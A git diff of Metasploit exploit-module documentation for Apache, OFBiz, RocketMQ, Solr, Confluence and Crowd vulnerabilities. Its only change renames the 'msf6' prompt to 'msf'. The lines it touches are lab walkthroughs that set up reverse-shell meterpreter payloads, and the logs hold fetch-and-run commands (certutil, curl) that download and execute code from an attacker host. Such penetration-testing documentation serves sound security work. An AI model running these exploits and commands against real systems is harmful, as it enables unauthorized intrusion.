diff --git a/documentation/modules/exploit/multi/http/apache_normalize_path_rce.md b/documentation/modules/exploit/multi/http/apache_normalize_path_rce.md index 3dad7dbd99477..47a0d4407492d 100644 --- a/documentation/modules/exploit/multi/http/apache_normalize_path_rce.md +++ b/documentation/modules/exploit/multi/http/apache_normalize_path_rce.md @@ -66,21 +66,21 @@ Base path. Default: `/cgi-bin` ### Command Line Interface ``` -msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce +msf exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_normalize_path_rce) > set target 1 +msf exploit(multi/http/apache_normalize_path_rce) > set target 1 target => 1 -msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11 +msf exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11 rhosts => 172.20.4.11 -msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080 +msf exploit(multi/http/apache_normalize_path_rce) > setg rport 8080 rport => 8080 -msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false +msf exploit(multi/http/apache_normalize_path_rce) > setg ssl false ssl => false -msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true +msf exploit(multi/http/apache_normalize_path_rce) > setg verbose true verbose => true -msf6 exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a +msf exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a cmd => uname -a -msf6 exploit(multi/http/apache_normalize_path_rce) > run +msf exploit(multi/http/apache_normalize_path_rce) > run [+] uname -a [*] Using auxiliary/scanner/http/apache_normalize_path as check @@ -91,25 +91,25 @@ msf6 exploit(multi/http/apache_normalize_path_rce) > run [!] http://172.20.4.11:8080 - Dumping command output in response Linux 184ef33f9859 5.14.0-1-amd64 #1 SMP Debian 5.14.6-3 (2021-09-28) x86_64 GNU/Linux -msf6 exploit(multi/http/apache_normalize_path_rce) > +msf exploit(multi/http/apache_normalize_path_rce) > ``` ### Meterpreter ``` -msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce +msf exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11 +msf exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11 rhosts => 172.20.4.11 -msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080 +msf exploit(multi/http/apache_normalize_path_rce) > setg rport 8080 rport => 8080 -msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false +msf exploit(multi/http/apache_normalize_path_rce) > setg ssl false ssl => false -msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true +msf exploit(multi/http/apache_normalize_path_rce) > setg verbose true verbose => true -msf6 exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36 +msf exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36 lhost => 172.20.7.36 -msf6 exploit(multi/http/apache_normalize_path_rce) > run +msf exploit(multi/http/apache_normalize_path_rce) > run [*] Started reverse TCP handler on 172.20.7.36:4444 [*] Using auxiliary/scanner/http/apache_normalize_path as check diff --git a/documentation/modules/exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal.md b/documentation/modules/exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal.md index e1537a50f0fad..3609c4780579e 100644 --- a/documentation/modules/exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal.md +++ b/documentation/modules/exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal.md @@ -66,9 +66,9 @@ to be Base64 encoded and gets powershell to decode and run it: `powershell -w hi ### Apache OFBiz 18.12.12 running on Windows 10 (Build 19045) ``` -msf6 > use multi/http/apache_ofbiz_forgot_password_directory_traversal +msf > use multi/http/apache_ofbiz_forgot_password_directory_traversal [*] Using configured payload cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > show targets +msf exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > show targets Exploit targets: ================= @@ -78,11 +78,11 @@ Exploit targets: => 0 Linux Command 1 Windows Command -msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > set target 1 +msf exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > set target 1 target => 1 -msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > run rhosts=172.16.199.132 lhost=172.16.199.1 +msf exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > run rhosts=172.16.199.132 lhost=172.16.199.1 [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -106,7 +106,7 @@ meterpreter > exit ### Apache OFBiz 18.12.12 running in Docker on MacOS 14.5 ``` -msf6 exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > run target=0 payload=cmd/linux/http/x64/meterpreter/reverse_tcp rhosts=172.16.199.1 lhost=172.16.199.1 +msf exploit(multi/http/apache_ofbiz_forgot_password_directory_traversal) > run target=0 payload=cmd/linux/http/x64/meterpreter/reverse_tcp rhosts=172.16.199.1 lhost=172.16.199.1 [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/apache_rocketmq_update_config.md b/documentation/modules/exploit/multi/http/apache_rocketmq_update_config.md index 7f26f7e38ef8d..bfe01b3b254ac 100644 --- a/documentation/modules/exploit/multi/http/apache_rocketmq_update_config.md +++ b/documentation/modules/exploit/multi/http/apache_rocketmq_update_config.md @@ -37,15 +37,15 @@ port associated with the RHOST cannot be determined from querying the RocketMQ N ### Docker container running RocketMQ 4.9.4, Target: Automatic (Unix In-Memory) ``` -msf6 > use multi/http/apache_rocketmq_update_config +msf > use multi/http/apache_rocketmq_update_config [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1 +msf exploit(multi/http/apache_rocketmq_update_config) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158 +msf exploit(multi/http/apache_rocketmq_update_config) > set FETCH_SRVHOST 172.16.199.158 FETCH_SRVHOST => 172.16.199.158 -msf6 exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158 +msf exploit(multi/http/apache_rocketmq_update_config) > set lhost 172.16.199.158 lhost => 172.16.199.158 -msf6 exploit(multi/http/apache_rocketmq_update_config) > options +msf exploit(multi/http/apache_rocketmq_update_config) > options Module options (exploit/multi/http/apache_rocketmq_update_config): @@ -95,7 +95,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/apache_rocketmq_update_config) > run +msf exploit(multi/http/apache_rocketmq_update_config) > run [*] Started reverse TCP handler on 172.16.199.158:4444 [*] 127.0.0.1:9876 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/apache_solr_backup_restore.md b/documentation/modules/exploit/multi/http/apache_solr_backup_restore.md index 5e198104b72ba..be04094fca312 100644 --- a/documentation/modules/exploit/multi/http/apache_solr_backup_restore.md +++ b/documentation/modules/exploit/multi/http/apache_solr_backup_restore.md @@ -121,13 +121,13 @@ volumes: ### Apache Solr 9.0.0 (no Authentication) ``` -msf6 > use linux/http/apache_solr_backup_restore +msf > use linux/http/apache_solr_backup_restore [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1 +msf exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1 +msf exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/apache_solr_backup_restore) > options +msf exploit(linux/http/apache_solr_backup_restore) > options Module options (exploit/linux/http/apache_solr_backup_restore): @@ -169,7 +169,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/apache_solr_backup_restore) > run +msf exploit(linux/http/apache_solr_backup_restore) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -200,15 +200,15 @@ meterpreter > ### Apache Solr 9.0.0 with Authentication ``` -msf6 exploit(linux/http/apache_solr_backup_restore) > set password SolrRocks +msf exploit(linux/http/apache_solr_backup_restore) > set password SolrRocks password => SolrRocks -msf6 exploit(linux/http/apache_solr_backup_restore) > set username solr +msf exploit(linux/http/apache_solr_backup_restore) > set username solr username => solr -msf6 exploit(linux/http/apache_solr_backup_restore) > set rhost 172.16.199.132 +msf exploit(linux/http/apache_solr_backup_restore) > set rhost 172.16.199.132 rhost => 172.16.199.132 -msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1 +msf exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(linux/http/apache_solr_backup_restore) > options +msf exploit(linux/http/apache_solr_backup_restore) > options Module options (exploit/linux/http/apache_solr_backup_restore): @@ -250,7 +250,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/apache_solr_backup_restore) > run +msf exploit(linux/http/apache_solr_backup_restore) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -276,4 +276,4 @@ Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux meterpreter > -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/multi/http/atlassian_confluence_namespace_ognl_injection.md b/documentation/modules/exploit/multi/http/atlassian_confluence_namespace_ognl_injection.md index 6a22321235c29..93d12f473d300 100644 --- a/documentation/modules/exploit/multi/http/atlassian_confluence_namespace_ognl_injection.md +++ b/documentation/modules/exploit/multi/http/atlassian_confluence_namespace_ognl_injection.md @@ -60,15 +60,15 @@ services: ### Confluence 7.13.0 in [Docker] ``` -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.100 +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.100 RHOSTS => 192.168.159.100 -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128 +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > check +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > check [+] 192.168.159.100:8090 - The target is vulnerable. Successfully tested OGNL injection. -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [!] AutoCheck is disabled, proceeding with exploitation @@ -90,17 +90,17 @@ meterpreter > ### Confluence 7.17.2 on Windows Server 2019 ``` -msf6 > use exploit/multi/http/atlassian_confluence_namespace_ognl_injection +msf > use exploit/multi/http/atlassian_confluence_namespace_ognl_injection [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.10 +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set TARGET Windows\ Command +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set TARGET Windows\ Command TARGET => Windows Command -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128 +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit +msf exploit(multi/http/atlassian_confluence_namespace_ognl_injection) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22515.md b/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22515.md index 6660401760faf..d6884512ce640 100644 --- a/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22515.md +++ b/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22515.md @@ -46,7 +46,7 @@ of time to wait for installation to complete. The timeout value is in seconds an ### Automatic ``` -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > show options +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > show options Module options (exploit/multi/http/atlassian_confluence_rce_cve_2023_22515): @@ -81,9 +81,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > check +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > check [*] 192.168.86.50:8090 - The target appears to be vulnerable. Atlassian Confluence 8.5.1 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > exploit +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > exploit [*] Started reverse TCP handler on 192.168.86.42:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22527.md b/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22527.md index 5460b0d171947..ce6571cc5e28b 100644 --- a/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22527.md +++ b/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22527.md @@ -60,17 +60,17 @@ services: ### Confluence 8.5.3 in [Docker] ``` -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.128 +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.128 RHOSTS => 192.168.159.128 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Unix\ Command +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Unix\ Command TARGET => Unix Command -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/unix/python/meterpreter/reverse_tcp PAYLOAD => cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128 +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -97,17 +97,17 @@ meterpreter > ### Confluence 8.5.3 on Windows Server 2019 ``` -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.10 +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Windows\ Command +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set TARGET Windows\ Command TARGET => Windows Command -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128 +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set LHOST 192.168.159.128 LHOST => 192.168.159.128 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit +msf exploit(multi/http/atlassian_confluence_rce_cve_2023_22527) > exploit [*] Powershell command length: 4371 [*] Started reverse TCP handler on 192.168.159.128:4444 diff --git a/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md b/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md index aed542928791a..966056b7c5401 100644 --- a/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md +++ b/documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2024_21683.md @@ -40,25 +40,25 @@ The known Confluence administrator password. ### Windows Server 2022 (10.0 Build 20348) ``` -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp payload => cmd/windows/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin ADMIN_USER => admin -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123! +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123! ADMIN_PASS => Password123! -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set LHOST 192.168.156.129 +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set LHOST 192.168.156.129 LHOST => 192.168.156.129 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CERTUTIL +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CERTUTIL FETCH_COMMAND => CERTUTIL -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_SRVHOST 192.168.156.129 +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_SRVHOST 192.168.156.129 FETCH_SRVHOST => 192.168.156.129 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.131 +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.131 RHOSTS => 192.168.156.131 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check [*] 192.168.156.131:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 7.20.2 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run [*] Command to run on remote host: certutil -urlcache -f http://192.168.156.129:8080/h2Wbt3lK1eTiVRc3SNDL1w %TEMP%\iYgswSHqZU.exe & start /B %TEMP%\iYgswSHqZU.exe [*] Fetch handler listening on 192.168.156.129:8080 @@ -99,19 +99,19 @@ Meterpreter : x64/windows ### Ubuntu 22.04 (Linux 6.5.0-41-generic) ``` -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin ADMIN_USER => admin -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123! +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123! ADMIN_PASS => Password123! -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.133 +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.133 RHOSTS => 192.168.156.133 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check [*] 192.168.156.133:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 8.9.0 -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CURL +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CURL FETCH_COMMAND => CURL -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true VERBOSE => true -msf6 exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run +msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run [*] Command to run on remote host: curl -so ./UyvwIjHwXcB http://192.168.156.129:8080/zR2OIDxwf8sUzl-Aq0rIXg; chmod +x ./UyvwIjHwXcB; ./UyvwIjHwXcB & [*] Fetch handler listening on 192.168.156.129:8080 diff --git a/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md b/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md index 764251322f50b..99f186f216666 100644 --- a/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md +++ b/documentation/modules/exploit/multi/http/atlassian_confluence_unauth_backup.md @@ -43,11 +43,11 @@ of time to wait for installation to complete. The timeout value is in seconds an ## Scenarios ### Windows Server 2022 running Atlassian Confluence 8.5.1 ``` -msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set rhost 172.16.199.134 +msf exploit(multi/http/atlassian_confluence_unauth_backup) > set rhost 172.16.199.134 rhost => 172.16.199.134 -msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > set verbose true +msf exploit(multi/http/atlassian_confluence_unauth_backup) > set verbose true verbose => true -msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > options +msf exploit(multi/http/atlassian_confluence_unauth_backup) > options Module options (exploit/multi/http/atlassian_confluence_unauth_backup): @@ -82,7 +82,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/atlassian_confluence_unauth_backup) > run +msf exploit(multi/http/atlassian_confluence_unauth_backup) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/atlassian_confluence_webwork_ognl_injection.md b/documentation/modules/exploit/multi/http/atlassian_confluence_webwork_ognl_injection.md index 6025219363dc0..92444398d28b3 100644 --- a/documentation/modules/exploit/multi/http/atlassian_confluence_webwork_ognl_injection.md +++ b/documentation/modules/exploit/multi/http/atlassian_confluence_webwork_ognl_injection.md @@ -20,9 +20,9 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### Confluence 7.12.4 in [Docker] ``` -msf6 > use exploit/multi/http/atlassian_confluence_webwork_ognl_injection +msf > use exploit/multi/http/atlassian_confluence_webwork_ognl_injection [*] Using configured payload cmd/unix/reverse_perl -msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > options +msf exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > options Module options (exploit/multi/http/atlassian_confluence_webwork_ognl_injection): @@ -55,11 +55,11 @@ Exploit target: 0 Unix Command -msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set rhosts 127.0.0.1 +msf exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set lhost 172.16.57.1 +msf exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set lhost 172.16.57.1 lhost => 172.16.57.1 -msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > run +msf exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > run [*] Started reverse TCP handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -76,11 +76,11 @@ Background session 1? [y/N] y ### Confluence 7.12.4 on Windows Server 2016 ``` -msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set rhosts 172.16.57.9 +msf exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set rhosts 172.16.57.9 rhosts => 172.16.57.9 -msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set target 2 +msf exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > set target 2 target => 2 -msf6 exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > run +msf exploit(multi/http/atlassian_confluence_webwork_ognl_injection) > run [*] Started reverse SSL handler on 172.16.57.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce.md b/documentation/modules/exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce.md index 49e9a3511ae1e..2b204e8cc3280 100644 --- a/documentation/modules/exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce.md +++ b/documentation/modules/exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce.md @@ -48,13 +48,13 @@ To set up a vulnerable 3.2.1 JDK 8 Docker image: ### Atlassian Crowd 3.0.3 on Windows 10 20H2 ``` -msf6 > use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce +msf > use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set RHOSTS 192.168.224.204 +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set RHOSTS 192.168.224.204 RHOSTS => 192.168.224.204 -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set LHOST 192.168.224.128 +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set LHOST 192.168.224.128 LHOST => 192.168.224.128 -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > show options +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > show options Module options (exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce): @@ -83,7 +83,7 @@ Exploit target: 0 Java Universal -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > exploit +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > exploit [*] Started reverse TCP handler on 192.168.224.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -103,9 +103,9 @@ meterpreter > ### Atlassian Cloud 3.2.1 Linux Docker Image ``` -msf6 > use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce +msf > use exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce [*] No payload configured, defaulting to java/meterpreter/reverse_tcp -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > show options +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > show options Module options (exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce): @@ -134,15 +134,15 @@ Exploit target: 0 Java Universal -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set LHOST 172.18.0.1 +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set LHOST 172.18.0.1 LHOST => 172.18.0.1 -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set RHOSTS 127.0.0.1 +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > set RHOSTS 127.0.0.1 RHOSTS => 127.0.0.1 -msf6 exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > check +msf exploit(multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce) > check [*] Sending a test request to try installing an invalid plugin to see if the server is vulnerable... [+] 127.0.0.1:8095 - The target is vulnerable. Target responded that it couldn't install a invalid plugin, indicating it's vulnerable! 